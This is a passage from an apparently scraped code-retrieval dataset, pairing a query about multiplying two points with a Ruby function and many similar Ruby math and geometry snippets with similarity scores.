x2, y2)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n if (y1 == y2)\r\n return 0\r\n end #if\r\n dy = (y2 - y1) * 1.0\r\n dx = (x2 - x1) * 1.0\r\n slope = dx / dy\r\n return slope\r\nend", "def linear\n\t\tresult = @input[0] * @input[1] + @input[2]\n\n\t render json: result, status: 200\n\trescue\n\t\trender json: {\"message\": 'Use the format: {\"input\": [m, x, b]}'}, status: 400\n\tend", "def get_slope\n @speed_x = (@sx - @tx)/@slice.to_f\n @speed_y = (@sy - @ty)/@slice.to_f\n end", "def vline(x, y1, y2, c)\n x, y1, y2 = x.to_i, y1.to_i, y2.to_i\n\n unless self.bounds?(x, y1) && self.bounds?(x, y2)\n puts \"ERR: Coordinates out of bounds\"\n return\n end\n\n (y1..y2).each {|y| self[y, x] = c}\n end", "def interpolation_patterns; end", "def spline(x, y, m, method)\n n = equal_length(x, y)\n super(n, x, y, m, method)\n end", "def spline(x, y, m, method)\n n = equal_length(x, y)\n super(n, x, y, m, method)\n end", "def scale(factor)\n x = x2 - x1\n y = y2 - y1\n Line.new(p1, Point.new(x1 + (x * factor), y1 + (y * factor)))\n end", "def Vector3dInterpolate(arg0, arg1, arg2)\n ret = _invoke(1610744193, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_R8, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def get_new_point(lat1, lon1, lat2, lon2, distance)\n\n length = RoadRollerHelper.get_line_length(lat1, lon1, lat2, lon2)\n fraction_length = distance/length\n\n lat_new = lat1 + fraction_length * (lat2-lat1)\n lon_new = lon1 + fraction_length * (lon2-lon1)\n\n return lat_new, lon_new\n end", "def interpolate(target_freq, method = :average)\n raise(InterpolationException, \"Interpolation method #{method} not supported\") unless method == :average || method == :sum\n raise(InterpolationException, 'Can only interpolate to a higher frequency') unless target_freq.freqn > frequency.freqn\n raise(InterpolationException, 'Insufficent data') if data.count < 2\n interpol_data = {}\n last_date = last_val = increment = nil\n how_many = freq_per_freq(target_freq, frequency)\n target_months = freq_per_freq(:month, target_freq)\n all_factors = {\n year: { quarter: [-1.5, -0.5, 0.5, 1.5] },\n semi: { quarter: [-0.5, 0.5], month: [-2.5, -1.5, -0.5, 0.5, 1.5, 2.5] },\n quarter: { month: [-1, 0, 1] }\n }\n factors = all_factors[frequency.to_sym][target_freq] ||\n raise(InterpolationException, \"Interpolation from #{frequency} to #{target_freq} not yet supported\")\n\n data.sort.each do |this_date, this_val|\n next if this_val.nil?\n if last_val\n increment = (this_val - last_val) / how_many.to_f ## to_f ensures float division not truncated\n values = factors.map {|f| last_val + f * increment }\n values = values.map {|val| val / how_many.to_f } if method == :sum\n (0...how_many).each do |t| ## note the three dots\n date = last_date + (t * target_months).months\n interpol_data[date] = values[t]\n end\n end\n last_date = this_date\n last_val = this_val\n end\n ### Repeat logic from inside above loop for final observation of original series\n values = factors.map {|f| last_val + f * increment }\n values = values.map {|val| val / how_many.to_f } if method == :sum\n (0...how_many).each do |t|\n date = last_date + (t * target_months).months\n interpol_data[date] = values[t]\n end\n new_transformation(\"Interpolated by #{method} method from #{self}\", interpol_data, target_freq)\n end", "def min_2(x, y)\nend", "def slope\n return @slope if defined?(@slope)\n\n dx = p1.x - p2.x\n dy = p1.y - p2.y\n \n if dy == 0 \n @slope = 0.0 \n elsif dx == 0\n @slope = BigDecimal('Infinity')\n else\n @slope = dy / dx\n end\n\n @slope\n end", "def linspace(a, b, n = 100)\n # See: http://www.mathworks.com/help/matlab/ref/linspace.html\n # Formula: seq(n) * step + a\n \n # step = ((b - a) / (n - 1))\n step = (b - a) * (1.0 / (n - 1))\n \n # dtype = :float64 is used to prevent integer coercion.\n result = NVector.seq(n, :float64) * NVector.new(n, step, :float64)\n result += NVector.new(n, a, :float64)\n result\n end", "def line x0, y0, x1, y1, c\n dx = (x1 - x0).abs\n sx = x0 < x1 ? 1 : -1\n dy = (y1 - y0).abs\n sy = y0 < y1 ? 1 : -1\n err = (dx > dy ? dx : -dy) / 2\n \n loop do\n set x0, y0, c\n break if x0 === x1 && y0 === y1\n e2 = err\n if e2 > -dx\n err -= dy\n x0 += sx\n end \n if e2 < dy\n err += dx\n y0 += sy \n end\n end \n end", "def initialize(a,x,y)\n @a = Float(a)\n @x1 = Float(x)-(@a/2)\n @y1 = Float(y)-(@a/2)\n @x2 = x1+@a\n @y2 = y1+@a\n end", "def interpolate_input(input, value, total_years, num_years)\n return value if input.enum?\n\n start = input.start_value_for(@scenario)\n change_per_year = (value - start) / total_years\n\n start + change_per_year * (total_years - num_years)\n end", "def linear(time, start, change, total_time)\n return change * time / total_time + start\n end", "def interpolate_property(property, context, parameters)\n raise InterpolationError.new(\"Cannot interpolate '#{property}' - it is already being interpolated\") if property.interpolating?\n begin\n property.started_interpolate\n interpolate(property.value, context, parameters)\n ensure\n property.finished_interpolate\n end\n end", "def rsq_slope_intercept(y)\n x = self\n if y.size != x.size then raise ArgumentError, \"y must have same size as self!\" end\n if x.size < 2\n raise ArgumentError, \"vectors must have 2 or more data points!\"\n elsif x.size == 2\n l = x[1]; fl = y[1]; s = x[0]; fs = y[0]\n if x[0] > x[1] ; l,s=s,l; fl,fs=fs,fl end\n if l-s == 0 then raise ArgumentError, \"two points same x\" end\n slope = (fl-fs)/(l-s)\n # y = mx + b\n # b = y - mx\n y_intercept = fl - (slope*l)\n rsq = 1.0 \n return rsq, slope, y_intercept\n else\n x = self\n mean_x = x.avg\n mean_y = y.avg\n sum_sq_res_xx = @@zero\n sum_sq_res_yy = @@zero\n sum_sq_res_xy = @@zero\n x.each_with_index do |val,i|\n x_minus_mean_i = x[i].to_f - mean_x\n y_minus_mean_i = y[i].to_f - mean_y\n sum_sq_res_xx += x_minus_mean_i*x_minus_mean_i\n sum_sq_res_yy += y_minus_mean_i*y_minus_mean_i\n sum_sq_res_xy += x_minus_mean_i*y_minus_mean_i\n end\n slope = sum_sq_res_xy/sum_sq_res_xx\n y_intercept = mean_y - (slope * mean_x) \n rsq = (sum_sq_res_xy*sum_sq_res_xy)/(sum_sq_res_xx*sum_sq_res_yy)\n return rsq, slope, y_intercept\n end\n end", "def gets\n return nil if @lineno >= @height\n sample = @lineno * @source.height / @height.to_f\n sample_i = sample.to_i\n ty = sample - sample_i\n @lineno += 1\n get_buf(sample_i)\n\n Interpolation.bilinear(@buf1, @buf2, @width, ty, components)\n end", "def y_intercept(x_point, y_point, slope)\n y_point - (slope * x_point)\n end", "def getNormalPoint(p, a, b) \n # Vector from a to p\n ap = PVector.sub(p,a)\n # Vector from a to b\n ab = PVector.sub(b,a)\n ab.normalize # Normalize the line\n # Project vector \"diff\" onto line by using the dot product\n ab.mult(ap.dot(ab))\n normalPoint = PVector.add(a,ab)\n return normalPoint\n end", "def points_to_add_between(p0, p1, min_res)\n dist = distance(p0, p1)\n [((dist / min_res).floor - 1).to_i, 0].max\n end", "def x(y)\n return 1.0/2.0 * (y - 1.0)\n end", "def x(y)\n return 1.0/2.0 * (y - 1.0)\n end", "def x(y)\n return 1.0/2.0 * (y - 1.0)\n end", "def segment_to_line(x1, y1, x2, y2)\n raise 'Need two distinct points to define a segment' if x1 == x2 && y1 == y2\n\n # Vertical/horizontal/oblique lines\n if y1 == y2\n [0.0, 1.0, y1]\n elsif x1 == x2\n [1.0, 0.0, x1]\n else\n [y1 - y2, x2 - x1, x2 * y1 - x1 * y2]\n end\n end", "def gets\n return nil if @lineno >= @height\n sample = (@lineno * @source.height / @height.to_f).floor\n @lineno += 1\n Interpolation.nearest(get_buf(sample), @width, components)\n end", "def dist (x1, y1, x2, y2)\n return (x1 - x2) ** 2 + (y1 - y2) ** 2\nend", "def interpolate_strings(string1, string2)\n p \"#{string1} is cooler than #{string2}\"\nend", "def add_extra_points(p0, p1, min_res)\n n = points_to_add_between(p0, p1, min_res)\n dir = direction(p0, p1)\n\n (0..n).map do |offset|\n offset_point(p0, dir, min_res * offset)\n end + [p1]\n end", "def jposition_lerp(s, e, amount)\n p = JointPosition.copy(s)\n p.axes.each_index do |i|\n p.set_axis(i+1, lerp(s.axes[i], e.axes[i], amount))\n end\n p\n end", "def ramping_curve\n Curve.new(load_curve.each_cons(2).map { |a, b| (b - a).abs })\n end" ]
[ "0.7275462", "0.72197473", "0.7000755", "0.6667082", "0.644299", "0.6409069", "0.6252871", "0.613461", "0.6118703", "0.6030725", "0.59863997", "0.5910752", "0.58762956", "0.58531517", "0.5841448", "0.583739", "0.5828691", "0.58225226", "0.5696531", "0.5649724", "0.5602617", "0.5597313", "0.5580004", "0.5510362", "0.5509142", "0.55073947", "0.5494389", "0.5470285", "0.54237247", "0.5361621", "0.53308105", "0.53249025", "0.5314652", "0.5300115", "0.5296752", "0.5281784", "0.5272627", "0.5251297", "0.52421844", "0.5239629", "0.52218455", "0.5215399", "0.52111834", "0.51993763", "0.5194038", "0.51150477", "0.5107688", "0.5102883", "0.5073154", "0.50729287", "0.50656974", "0.5064251", "0.50614893", "0.50476074", "0.50268126", "0.49995968", "0.49968556", "0.49960172", "0.49900356", "0.49892896", "0.49759528", "0.49655688", "0.49564293", "0.49496132", "0.4948674", "0.49419898", "0.49313357", "0.49115565", "0.49086788", "0.49053356", "0.49041703", "0.49034238", "0.49034238", "0.48817065", "0.48694843", "0.48618248", "0.4846038", "0.48415557", "0.4838221", "0.481863", "0.48063967", "0.48029894", "0.4796406", "0.47414863", "0.47406283", "0.47376835", "0.47323456", "0.47244415", "0.47208935", "0.47129363", "0.4712916", "0.4712916", "0.4712916", "0.4711716", "0.4710302", "0.46995628", "0.46896607", "0.4656199", "0.46461678", "0.4636392" ]
0.58160156
18
Determine if two points are equal with some degree of variance
def bbpFuzzyEqual(first_point, second_point, variance) if first_point.x - variance <= second_point.x and second_point.x <= first_point.x + variance if first_point.y - variance <= second_point.y and second_point.y <= first_point.y + variance return true end end false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def eql?(other)\n if ! other.is_a?(self.class)\n false\n else\n [@mean, @variance] == [other.mean, other.variance]\n end\n end", "def eql?(other)\n return false unless other.respond_to?(:coords)\n equal = true\n self.coords.each_with_index do |c, i|\n if (c - other.coords.to_a[i])**2 > PRECISION\n equal = false\n break\n end\n end\n equal\n end", "def approx_same_values_as?(other)\n delta = s_copy.sub(other).to_a.inject(0.0) do |result, element|\n result + element**2.0\n end\n delta < EPSILON\n end", "def == (other)\n @points == other.points\n end", "def variance; end", "def equal?(point)\r\n return true if @x == point.x and @y == point.y\r\n return false\r\n end", "def equal_by_dim?(graph_obj1, graph_obj2)\n check_pre((graph_obj?(graph_obj1) and graph_obj?(graph_obj2)))\n (one_dim?(graph_obj1) and one_dim?(graph_obj1)) or (two_dim?(graph_obj1) and two_dim?(graph_obj2))\nend", "def ==(other)\n @points == other.points\n end", "def eql?(other_point)\n @x == other_point.x && @y == other_point.y\n end", "def is_equivalent_to?(other)\n return false if other.nil?\n return false unless self.factor == other.factor\n return false unless self.scaling == other.scaling\n return false unless self.dimensions == other.dimensions\n true\n end", "def equal_by_dim?(g1, g2)\n check_pre((\n (graph_obj?(g1)) and\n (graph_obj?(g2))\n ))\n\n return (\n (shape1d?(g1) and shape1d?(g2)) or\n (shape2d?(g1) and shape2d?(g2))\n )\nend", "def ==(vector2)\n end", "def discover_variance\r\n end", "def ==(other_vector, precision = 6)\n @x.round(precision) == other_vector.x.round(precision) and\n @y.round(precision) == other_vector.y.round(precision)\n end", "def variance\n sum = 0.0\n @diff_abs_pairs.each do |pair|\n #pp pair\n sum += (pair[1] - expected_error(pair[0]) )**2\n end\n sum\n end", "def eql?(other)\n\t if other.is_a?(Array)\n\t\t@elements.eql? other\n\t elsif other.is_a?(PointIso)\n\t\tvalue = other.value\n\t\t@elements.all? {|e| e.eql? value }\n\t elsif other.is_a?(PointOne)\n\t\t@elements.all? {|e| e.eql? 1 }\n\t elsif other.is_a?(PointZero)\n\t\t@elements.all? {|e| e.eql? 0 }\n\t else\n\t\tsuper other\n\t end\n\tend", "def !=(other_vector, precision = 6)\n @x.round(precision) != other_vector.x.round(precision) or\n @y.round(precision) != other_vector.y.round(precision)\n end", "def vars_eq?(x1, x2) ; x1[0] == x2[0] ; end", "def expected_variance\n ((max - min) ** 2) / 12\n end", "def equal?(p0) end", "def equal_by_trans?(g1, g2)\n check_pre((\n (graph_obj?(g1)) and\n (graph_obj?(g2))\n ))\n\n # pick two points\n # sub p1 from p2\n # translate p2 by diff\n # check equal_by_tree\n\n if not equal_by_dim?(g1, g2)\n return false\n end\n\n p1 = shape_lowest_left_point(g1)\n p2 = shape_lowest_left_point(g2)\n\n tp1 = p1 - p2\n tg1 = g2.translate(tp1)\n\n return equal_by_tree?(g1, tg1)\nend", "def orthogonal?(other)\n dot(other) == 0\n end", "def == point\t\n\t\t@x == point.x && @y == point.y\t\n\tend", "def test(obj_a, obj_b)\n return if obj_a == obj_b # TODO: added by ando\n return if obj_a.fixed? and obj_b.fixed?\n\n if obj_a.multisample == 0 and obj_b.multisample == 0\n norm_vs_norm(obj_a, obj_b)\n elsif obj_a.multisample > 0 and obj_b.multisample == 0\n samp_vs_norm(obj_a, obj_b)\n elsif obj_b.multisample > 0 and obj_a.multisample == 0\n samp_vs_norm(obj_b, obj_a)\n elsif obj_a.multisample == obj_b.multisample\n samp_vs_samp(obj_a, obj_b)\n else\n norm_vs_norm(obj_a, obj_b)\n end\n end", "def eql?(other)\n return false if !other.is_a?(Point) || other.group != group\n x == other.x && y == other.y\n end", "def ==(other)\n return false unless other.is_a?(Point)\n (x - other.x).abs < EQUITY_TOLERANCE && (y - other.y).abs < EQUITY_TOLERANCE\n end", "def ==(other_point)\r\n if other_point.class != self.class\r\n false\r\n else\r\n @x == other_point.x and @y == other_point.y and @z == other_point.z and @m == other_point.m\r\n end\r\n end", "def covariance_population other\n size == other.size or raise ArgumentError, 'size of both the vectors must be equal'\n covariance_sum(other) / (size - count_values(*Daru::MISSING_VALUES))\n end", "def isEqual(p)\n (p.x == x) && (p.y == y)\n end", "def amicable?\r\n a, b = self, self.sum_divisors\r\n a != b && b.sum_divisors == a\r\n end", "def variance\n stats.variance\n end", "def span_test(other)\n other = Point.new(other[0], other[1]) if other.is_a?(Array)\n raise TypeError, 'Must pass only Point.' unless other.is_a?(Point)\n\n return 0 if self.p1 == other\n\n rel_pos = other - self.p1\n return 1 if self.direction.to_point.dot(rel_pos) > 0\n \n return -1\n end", "def covariance_sample other\n size == other.size or raise ArgumentError, 'size of both the vectors must be equal'\n covariance_sum(other) / (size - count_values(*Daru::MISSING_VALUES) - 1)\n end", "def equal_dimension?(x,y)\n (one_dimension?(x) && one_dimension?(y)) ||\n (two_dimensions?(x) && two_dimensions?(y))\nend", "def values_equal?(bav, pav)\n values_sndiff_equal?(bav, pav) || array_value_diff_ignored? && pav.is_a?(Array) && pav.size == 1 && values_sndiff_equal?(bav, pav[0])\n end", "def variance(sample = false)\n a = numerify\n avg = a.average\n sum = a.inject(0) { |sum, value| sum + (value - avg) ** 2}\n (1 / (a.length.to_f - (sample ? 1 : 0)) * sum)\n end", "def variance\n central_moment(2)\n end", "def ==(other)\n case other\n when Point\n float_equal(x, other.x) && float_equal(y, other.y)\n when Array\n self == Geom2D::Point(other)\n else\n false\n end\n end", "def orthogonal_with?(a); self.dot(a) == 0; end", "def same(u, p)\n u == p\nend", "def variance\n\t\t\tvar = BigDecimal.new(0)\n\t\t\t(1..@sides).each { |i|\n\t\t\t\te = BigDecimal.new(@sides+1) / BigDecimal.new(2)\n\t\t\t\tvar += (BigDecimal.new(i - e)**2) / BigDecimal.new(@sides)\n\t\t\t}\n\t\t\tvar * BigDecimal.new(@count)\n\t\tend", "def test_stddev\n assert Mathematics.stddev(1,2,3) > 0.8164 && Mathematics.stddev(1,2,3) < 0.8165\n assert Mathematics.sd(1,2,3) > 0.8164 && Mathematics.sd(1,2,3) < 0.8165\n end", "def same?(point, delta = POINT_DELTA)\n if ((@x + delta > point.x && @x - delta < point.x &&\n @y + delta > point.y && @y - delta < point.y))\n return true\n end\n return false\n end", "def equal_dimension?(y)\n (self.one_dimension? && y.one_dimension?) ||\n (self.two_dimensions? && y.two_dimensions?)\n end", "def proportional?(other)\n s = self.base.unit.map{ |u| u.type }\n o = other.base.unit.map{ |u| u.type }\n (o - s).empty? && (s - o).empty?\n end", "def coincident?(other)\n center.distance(other.center) == 0 and @r == other.r\n end", "def ==(other)\n\t if other.is_a?(Array)\n\t\t@elements.eql? other\n\t elsif other.is_a?(PointIso)\n\t\tvalue = other.value\n\t\t@elements.all? {|e| e.eql? value }\n\t elsif other.is_a?(PointOne)\n\t\t@elements.all? {|e| e.eql? 1 }\n\t elsif other.is_a?(PointZero)\n\t\t@elements.all? {|e| e.eql? 0 }\n\t else\n\t\tsuper other\n\t end\n\tend", "def checkSymmetryX (tab)\n for x in 0..3\n for y in 0..3\n return false if (tab.val(x,y) != self.val(3-x,y)) ;\n end\n end\n return true ;\n end", "def deuce?\n @points == @opponent.points\n end", "def parallel?(other)\n cross(other).magnitude == 0\n end", "def similar_to?(other)\n return false if [:connect_type, :install_type, :secondary_voltage].any? do |prop|\n self[prop] != other[prop]\n end\n\n # Allow 12.47kV and 12.5kV configurations to be used interchangably\n return false if (self[:primary_voltage].to_i - other[:primary_voltage].to_i).abs > 300\n\n self.phases == other.phases\n end", "def assert_equalish(x, y, delta=0.1)\n assert_in_delta(x, y, delta)\n end", "def equal_by_trans?(graph_obj1, graph_obj2)\n check_pre((graph_obj?(graph_obj1) and graph_obj?(graph_obj2)))\n bounds_obj1 = bounds(graph_obj1)\n bounds_obj2 = bounds(graph_obj2)\n if (not (bounds_obj1.size == bounds_obj2.size)) #or (not equal_by_dim?(graph_obj1, graph_obj2))\n false\n elsif one_dim?(graph_obj1) and one_dim?(graph_obj2)\n translate(graph_obj1, -(bounds_obj1.first - bounds_obj2.first)) == graph_obj2\n #equal_by_tree?(translate(graph_obj1, -(bounds_obj1.first - bounds_obj2.first)), graph_obj2)\n elsif two_dim?(graph_obj1) and two_dim?(graph_obj2)\n translate(graph_obj1, Point2d[-(bounds_obj1.x_range.first - bounds_obj2.x_range.first),\n -(bounds_obj1.y_range.first - bounds_obj2.y_range.first)]) == graph_obj2\n #equal_by_tree?(translate(graph_obj1, Point2d[-(bounds_obj1.x_range.first - bounds_obj2.x_range.first), \n #-(bounds(graph_obj1).y_range.first - bounds(graph_obj2).y_range.first)]), graph_obj2)\n else false\n end\nend", "def point1d?(any)\n any.int?\nend", "def variance(bias=:unbiased)\n\t\t\treturn false if !self.numeric?\n\t\t\treturn central_moment(2) * Float(length)/(length - 1) if (bias == :unbiased)\n\t\t\treturn central_moment(2) \n\t\tend", "def same_pos?(pos1, pos2)\n pos1 = pos1.pos if pos1.respond_to?(:pos)\n pos2 = pos2.pos if pos2.respond_to?(:pos)\n pos1.x == pos2.x and pos1.y == pos2.y and pos1.z == pos2.z\n end", "def same_pos?(pos1, pos2)\n pos1 = pos1.pos if pos1.respond_to?(:pos)\n pos2 = pos2.pos if pos2.respond_to?(:pos)\n pos1.x == pos2.x and pos1.y == pos2.y and pos1.z == pos2.z\n end", "def ==(p)\n @x == p.x && @y == p.y \n end", "def equal?(other); end", "def get_variance\n end", "def ==(other)\n return false unless other.is_a?(Decimal128)\n @high == other.instance_variable_get(:@high) &&\n @low == other.instance_variable_get(:@low)\n end", "def variance\n size==0 ? nil : ( m=mean and sum_of_squares.to_f/size - m*m )\n end", "def eql?(other)\n (@x == other.x) && (@y == other.y)\n end", "def factor?(other)\n s = self.base.unit.map{ |u| [u.type] * u.power }.flatten\n o = other.base.unit.map{ |u| [u.type] * u.power }.faltten\n (s - o).empty?\n end", "def ==(other)\n (other.base == self.base) && other.factor == self.factor\n end", "def lane_equal other_sample\n [:genome, :protocol].each do |lane_data|\n # puts \"#{self.send(lane_data)}\"\n if self.send(lane_data) != other_sample.send(lane_data)\n return false\n end\n end\n true\n end", "def eql?(other)\n return false if (other.nil? or self.class != other.class)\n ova = other.instance_variables\n iv = instance_variables\n return false if ova.size != iv.size\n iv.each do |vid|\n return false if instance_variable_get(vid) != other.instance_variable_get(vid)\n end\n true\n end", "def variance(population=false)\n m = mean.to_f\n map { |v| (v - m) ** 2 }.sum / (size - (population ? 0 : 1))\n end", "def sample_variance\n stats.sample_variance\n end", "def amicable_with?(other)\n factors.reduce(:+) == other &&\n other.factors.reduce(:+) == self &&\n self != other\n end", "def is_alternative_for?(other)\n other.dimensions == @dimensions\n end", "def equals(aTemp)\n temp1 = self.getInF()\n temp2 = aTemp.getInF()\n return temp1.myDegree == temp2.myDegree\n end", "def eql?(p0) end", "def eql?(p0) end", "def eql?(p0) end", "def eql?(p0) end", "def eql?(p0) end", "def eql?(p0) end", "def eql?(p0) end", "def equal other_lane\n # puts \"#{self.number} <-> #{other_lane.number}\"\n if ((!samples[0]) or (!other_lane.samples[0]))\n # puts \"returning false #{samples[0]}\"\n return false\n end\n samples[0].lane_equal(other_lane.samples[0])\n end", "def test_std\n assert_equal 4, Rover::Vector.new([1, 5, 9]).std\n end", "def convergence\n variance\n end", "def samedirection?(vector2)\n end", "def isSame(tab)\n for x in 0..3\n for y in 0..3\n return(false) if (self.val(x,y) != tab.val(x,y)) ;\n end\n end\n return true ;\n end", "def nearly?(other); end", "def values_sndiff_equal?(bav, pav)\n bav == pav || string_numeric_diff_ignored? && bav.is_a?(String) && pav.is_a?(Numeric) && to_number_or_nil(bav) == pav\n end", "def ==(other)\n other.x == @x && other.y == @y\n end", "def ==(other)\n lcm_div = @div.lcm(other.div)\n (@val * (lcm_div / @div)) == (other.val * (lcm_div / other.div))\n end", "def psdev\n Math.sqrt(pvariance)\n end", "def dominates?(point1, point0)\n column_names.all? { |name| point1[name] < point0[name] }\n end", "def obstructed?(new_x, new_y); end", "def better_than_average(arr, points)\n\n a = arr.count\n b = arr.inject(:+)\n median = b/a\n\n if median < points\n return true\n else\n return false\n end\nend", "def covariance(a1, a2, bias_corrected = true, mean1 = nil, mean2 = nil)\n raise ArgumentError.new(\"length of both arrays must match\") unless (a1.count == a2.count)\n mean1 ||= mean(a1)\n mean2 ||= mean(a2)\n denominator = (bias_corrected)?(a1.count-1):(a1.count)\n tot = 0.0\n # a1.each_index {|i| tot += (a1[i] * a2[i])}\n # (tot / denominator) - (mean1 * mean2)\n a1.each_index {|i| tot += (a1[i] - mean1) * (a2[i] - mean2)}\n tot / denominator\n end", "def nvariance(debug=false)\n nv0 = self.normal_vector\n all_near_by_tiles = []\n all_near_by_tiles << ( @grd.vtxs[vtx[0]-1].tiles & @grd.vtxs[vtx[1]-1].tiles )\n all_near_by_tiles << ( @grd.vtxs[vtx[0]-1].tiles & @grd.vtxs[vtx[2]-1].tiles )\n all_near_by_tiles << ( @grd.vtxs[vtx[1]-1].tiles & @grd.vtxs[vtx[2]-1].tiles )\n all_near_by_tiles.flatten!.reject! { |t| t == self }.uniq!\n\n if debug\n all_near_by_tiles.map { |t|\n print \"T: #{t}\\n\"\n }\n end\n\n all_near_by_tiles.map { |t| [t, nv0.cross_product(t.normal_vector).abs] }.sort { |a,b| a[1] <=> b[1] }.last\n end", "def test_std_dev_array_2\n expected_std_dev = 2.16024\n assert_in_delta expected_std_dev, Stats.std_dev(@array2), 0.01\n end", "def RA_pairs?(p)\n num1 = factors(p[0])\n num2 = factors(p[1])\n a = (num1 - (num1 & num2)).inject(:+)\n b = (num2 - (num1 & num2)).inject(:+)\n a == b ? (return true) : (return false)\nend", "def ==(other)\n return false unless other.is_a? Normal3\n @x == other.x && @y == other.y && @z == other.z\n end", "def all_eql?(arr)\n arr.each_cons(2).all? { |x, y| x == y }\n end", "def similarTo?( otherObj )\n\t\t\treturn false unless otherObj.is_a?( self.class )\n\t\t\totherAry = otherObj.to_ary\n\t\t\trval = true\n\t\t\tself.to_ary.each_with_index {|elem,i|\n\t\t\t\tif (elem - otherAry[i]).abs > 1e-10\n\t\t\t\t\trval = false\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t}\n\t\t\treturn rval\n\t\tend", "def eql?(other)\n selfCTVarCount = allVars.select{|var| var.isCT || var.isPO}.length\n otherCTVarCount = other.allVars.select{|var| var.isCT || var.isPO}.length\n return false if(selfCTVarCount != otherCTVarCount)\n allVars.all?{|var| var.eql?(other.find(var.name))}\n end" ]
[ "0.6776845", "0.6417084", "0.6343171", "0.58008915", "0.57410693", "0.5729826", "0.5673462", "0.56618375", "0.5639518", "0.5631125", "0.56209457", "0.55441827", "0.5516703", "0.55106246", "0.5506014", "0.54897404", "0.54426676", "0.54279107", "0.53732026", "0.53457093", "0.5341874", "0.5334338", "0.5330195", "0.5310262", "0.5290068", "0.525262", "0.5223775", "0.5211946", "0.5209139", "0.5206875", "0.52007973", "0.5191179", "0.5191045", "0.51823556", "0.515204", "0.51460856", "0.51420784", "0.513476", "0.512993", "0.5128649", "0.5123373", "0.5120421", "0.5119344", "0.5112981", "0.51123565", "0.51100373", "0.5109831", "0.5097032", "0.50941586", "0.508916", "0.5077301", "0.50767124", "0.50751406", "0.507349", "0.50697243", "0.5061841", "0.5061841", "0.5059122", "0.505437", "0.5042518", "0.5038944", "0.5033816", "0.5029451", "0.5026839", "0.5025197", "0.5024213", "0.50151205", "0.50136805", "0.5007042", "0.4998038", "0.4995789", "0.49938208", "0.4991467", "0.4991467", "0.4991467", "0.4991467", "0.49909157", "0.49909157", "0.49909157", "0.49841487", "0.49798846", "0.49753708", "0.49750307", "0.49734017", "0.49716574", "0.49537748", "0.4953109", "0.495174", "0.49497458", "0.4949019", "0.49412754", "0.49403453", "0.49330157", "0.492211", "0.49098834", "0.49050674", "0.4900967", "0.49009064", "0.48946938", "0.48945913" ]
0.6507642
1
Multiples the first and second point
def bbpCompMult(first_point, second_point) bbp(first_point.x * second_point.x, first_point.y * second_point.y) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mult(x,y)\n\tx * y\nend", "def multiple(num1,num2)\n\tnum1 * num2\nend", "def multiply_two_numbers( x, y )\n x * y\nend", "def we pts1, pts2\n (1 / ( 10 ** ( - (pts1 - pts2) / 400.0) + 1)).round(3)\n end", "def multiply(first, second)\n first * second\nend", "def double\n return self if infinity?\n gamma = field.mod((3 * x * x + @group.param_a) * field.inverse(2 * y))\n new_x = field.mod(gamma * gamma - 2 * x)\n new_y = field.mod(gamma * (x - new_x) - y)\n self.class.new(group, new_x, new_y)\n end", "def multuply(one, two)\n\t# #{}=>插值\n\t\"#{one} multuplied by #{two} equals #{one * two}.\"\nend", "def getProd ( x , y )\n\tprod = x * y\n\treturn prod\nend", "def multiply(x,y) \n\tx * y\t\nend", "def multiply\n inject(1) { |p,x| p * x }\n end", "def mul( val )\n @x.scale( val )\n @y.scale( val )\n self\n end", "def normal(a, b)\n [a[1]*b[2]-a[2]*b[1],\n a[2]*b[0]-a[0]*b[2],\n a[0]*b[1]-a[1]*b[0]]\nend", "def multiply(first_number , second_number)\n return first_number * second_number\nend", "def round_to_mult(x,y)\n (x / y.to_f).round * y\n end", "def mult_numbers(a,b)\n\ta*b\nend", "def multiply(first_number, second_number)\n first_number.to_f * second_number.to_f\nend", "def multiply(x, y)\n\tx * y\nend", "def multiply(y)\n @x * y\n end", "def multiply(x, y)\n return x * y * 37\n x * y\nend", "def multiplication (first_number, second_number)\nfirst_number * second_number\nend", "def multiply(first_number, second_number)\n first_number * second_number\nend", "def multiply(first_number, second_number)\n return first_number * second_number\nend", "def multiply(first_number, second_number)\n return first_number * second_number\nend", "def multiply(first_number, second_number)\n first_number.to_f * second_number.to_f\nend", "def multiply(x,y)\n\tx*y\nend", "def mult num1, num2\n num1 * num2\nend", "def multiply(first, second)\n first.send(:*, second)\nend", "def mod_mult (p, n)\n q = p\n r = Point.new Float::INFINITY, Float::INFINITY\n\n while n > 0\n if n % 2 == 1\n r = self.mod_add r, q\n end\n\n q = self.mod_add q, q\n n = (n / 2).floor\n end\n r\n end", "def *(a,b,c,d)\n\t\treturn (a/b)*(c/d)\n\tend", "def multiply(x, y)\n return y if x == 1\n\n y + multiply(x - 1, y)\nend", "def mult(a, b)\n a * b\nend", "def multiply(first_num, second_num)\n first_num * second_num\nend", "def /(value)\n mul(value) ;\n end", "def mul(rhs)\n Vector2.new(@x * rhs, @y * rhs)\n end", "def multiply (x,y)\n return x * y\nend", "def multiply_2_and_return(x, y)\n x * y\nend", "def multiply(x,y)\n x*y\nend", "def multiply(x,y)\n x*y\nend", "def multiply(x,y)\n x*y\nend", "def multiply(x,y)\n x * y\nend", "def multiply(x,y)\n x * y\nend", "def mod_add (a, b)\n if b.inf\n return a\n end\n if a.inf\n return b\n end\n\n x1 = a.x\n x2 = b.x\n y1 = a.y\n y2 = b.y\n\n if x1 == x2 and y1 == -y2\n return Point.new Float::INFINITY, Float::INFINITY\n end\n\n if x1 == x2 and y1 == y2\n lambda = self.mod_inv 3 * x1 ** 2 + @a, 2 * y1\n else\n lambda = self.mod_inv y2 - y1, x2 - x1\n end\n\n x3 = Curve.mod lambda ** 2 - x1 - x2, @fp\n y3 = Curve.mod lambda * (x1 - x3) - y1, @fp\n\n Ecc::Point.new x3, y3\n end", "def multiply (x, y)\n x * y\nend", "def multiply(a, b)\nend", "def multiply a,b\n a*b\nend", "def multi(a, b) #=> funkcja wykonujaca mnozenie\n\n\tc = a * b\n\nend", "def calculate\n y = 0\n x = 0.1\n while x % 1 != 0\n x = (@price.to_f - @stamp1.to_f * y) / @stamp2.to_f\n y += 1\n end\n y -= 1\n @stamp1 = y.round(0).to_s # 3 cent stamps\n @stamp2 = x.round(0).to_s # 5 cent stamps\n end", "def multiply(a, b)\r\n a * 